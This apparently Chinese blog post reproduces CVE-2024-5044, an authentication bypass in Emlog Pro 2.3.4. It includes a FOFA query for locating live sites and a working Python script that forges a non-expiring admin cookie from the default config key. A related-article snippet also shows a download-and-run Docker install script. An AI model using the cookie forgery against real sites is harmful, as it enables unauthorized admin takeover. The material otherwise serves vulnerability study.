【漏洞复现】Emlog Pro 2.3.4——任意用户登入、会话持久化(CVE-2024-5044)

news/2024/7/8 9:36:09 标签: 渗透测试

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现


漏洞描述

漏洞编号:CVE-2024-5044
漏洞成因:

  • Emlog Pro 2.3.4中依赖于cookie中的AuthCookie字段来判断用户是否登录,且字段的值对每个用户都是固定的,每次登录都使用相同的cookie值。

  • 在生成AuthCookie的过程中,唯一未知的变量Auth_Key具有默认值,该值写在配置文件中。如果这个值被知晓,就可以实现任意用户登录的漏洞。

漏洞危害:

  • 会话(AuthCookie)持久化:即使用户退出,AuthCookie仍然有效,可以重新播放后台管理界面的请求包来访问后台。

  • 任意用户登录:如果知道用户的用户名或邮箱,就可以生成该用户的AuthCookie,实现任意用户登录。

漏洞复现

1)信息收集
fofa:app="EMLOG"

信心这个东西,什么时候都像个高楼大厦,但是里面会长白蚁。
在这里插入图片描述

2)查看config.php
建议在本地复现,因为需要知道config.php内容。
emlog官网:https://www.emlog.net/
搭建好环境后,查看目录下config.php

//Auth key
const AUTH_KEY = 'BR5DNBLH6vFyp3Z*Rj55(cTZ5uj68ZL!5f4591689f71924dbd1e95e47aec4ed7';
//Cookie name
const AUTH_COOKIE_NAME = 'EM_AUTHCOOKIE_p5VT8ugewNYfzKaj8lTKXLB8daxhnB4G';

在这里插入图片描述
3)然后使用脚本,生成管理员cookie

import hmac
import hashlib

# 定义认证密钥,用于HMAC算法,确保认证信息的安全性
auth_key = "BR5DNBLH6vFyp3Z*Rj55(cTZ5uj68ZL!5f4591689f71924dbd1e95e47aec4ed7"

# 定义认证cookie的名称,用于在客户端存储认证信息
auth_cookie_name = "EM_AUTHCOOKIE_p5VT8ugewNYfzKaj8lTKXLB8daxhnB4G"

# 定义认证信息的过期时间,这里设置为0,表示永不过期
expiration = 0

# 定义当前操作的用户账号
user = "admin"

# 根据用户信息和过期时间生成用于认证的key
# 使用HMAC-MD5算法对用户信息和过期时间进行加密,生成初步的认证key
key = hmac.new(auth_key.encode(), "{}|{}".format(user, expiration).encode(), digestmod=hashlib.md5).hexdigest().encode()

# 使用上一步生成的key,再次对用户信息和过期时间进行加密
# 这里同样使用HMAC-MD5算法,生成最终的认证hash
auth_hash = hmac.new(key, "{}|{}".format(user, expiration).encode(), digestmod=hashlib.md5).hexdigest()

# 组装认证cookie的值,包括cookie名称、用户信息、过期时间和认证hash
# 这里的格式化字符串用于构建认证cookie的特定格式,方便后续的解析和验证
auth_cookie = "{}={}|{}|{}".format(auth_cookie_name, user, expiration, auth_hash)

print(auth_cookie)

在这里插入图片描述

管理员cookie为:

EM_AUTHCOOKIE_p5VT8ugewNYfzKaj8lTKXLB8daxhnB4G=admin|0|37f0743009b46a952fa7daaf21f2e8f4

4)访问页面,替换cookie
在这里插入图片描述
5)刷新页面,即可获得管理员权限

在这里插入图片描述


兰有秀兮菊有芳,怀佳人兮不能忘。


http://www.niftyadmin.cn/n/5536972.html

相关文章

北斗在森林防火中的应用

森林是地球上最重要的生态资源之一,不仅为各种动植物提供栖息地,还在调节气候、维护水源等方面起着举足轻重的作用。然而,近年来随着全球气候异常和人类活动的增加,森林火灾频发,对生态环境和人类社会造成了严重影响。…

arduino和esp-idf的区别

arduino和esp-idf的关系 arduino开发esp时,使用的也是esp-idf,只不过对esp-idf进行了包装。 arduino中的esp-idf版本会落后于官方版本。 arduino和esp-idf的区别 arduino主要用于教育领域,开发方便,快捷。但是要求你写的代码必…

Linux脚本自动安装 docker

使用官方安装脚本自动安装 需使用 root 或sudu 权限账户安装 安装命令如下: curl -fsSL https://test.docker.com -o install-docker.shsudo sh install-docker.sh脚本中指令: –version 安装指定版本 Use the --version option to install a specific version, f…

python自动化办公之BeautifulSoup爬取并解析html文本

用到的库:BeautifulSoup 实现效果:爬取网站内容,拿到html文本并解析html文本 代码: 先爬取 # 先导入requests包 import requests urlhttps://www.baidu.com responserequests.get(url) # 做1个断言,如果执行成功&a…

Java集合框架:深入探索与性能优化指南

引言 Java集合框架是Java标准库中用于存储和操作对象集合的一套工具。它提供了一套统一的接口和类,使得开发者可以高效地处理对象集合,而无需关心底层的实现细节。Java集合框架主要包括List、Set、Map等接口及其实现类。本文将详细介绍Java中的集合框架,并分享如何选择和使用…

JVM原理(十六):JVM虚拟机类型擦除与泛型发展

1. 泛型 泛型的本质是参数化类型或者参数化多态的应用,即可以将操作的数据类型指定为方法签名中的一种特殊参数,这种参数类型能够用在类、接口和方法的创建中,分别构成泛型类、泛型接口和泛型方法。 泛型让程序员能够以针对泛化的数据类型编…

无人机5公里WiFi低延迟图传模组,抗干扰、长距离、低延迟,飞睿智能无线通信新标杆

在科技日新月异的今天,我们见证了无数通信技术的飞跃。从开始的电报、电话,到如今的4G、5G网络,再到WiFi的广泛应用,每一次技术的革新都极大地改变了人们的生活方式。飞睿智能5公里WiFi低延迟图传模组,它以其独特的优势…

为什么salesforce需要设置社区端,而不是使用和内部员工同样的环境

虽然企业可能希望为客户和合作伙伴提供与内部员工相同的环境,但实际上这样做有几个显著的缺点和风险。这些包括: 安全性和权限管理:内部员工的系统通常包含敏感和机密的信息,例如财务数据、内部策略和未发布的产品信息。将客户和合…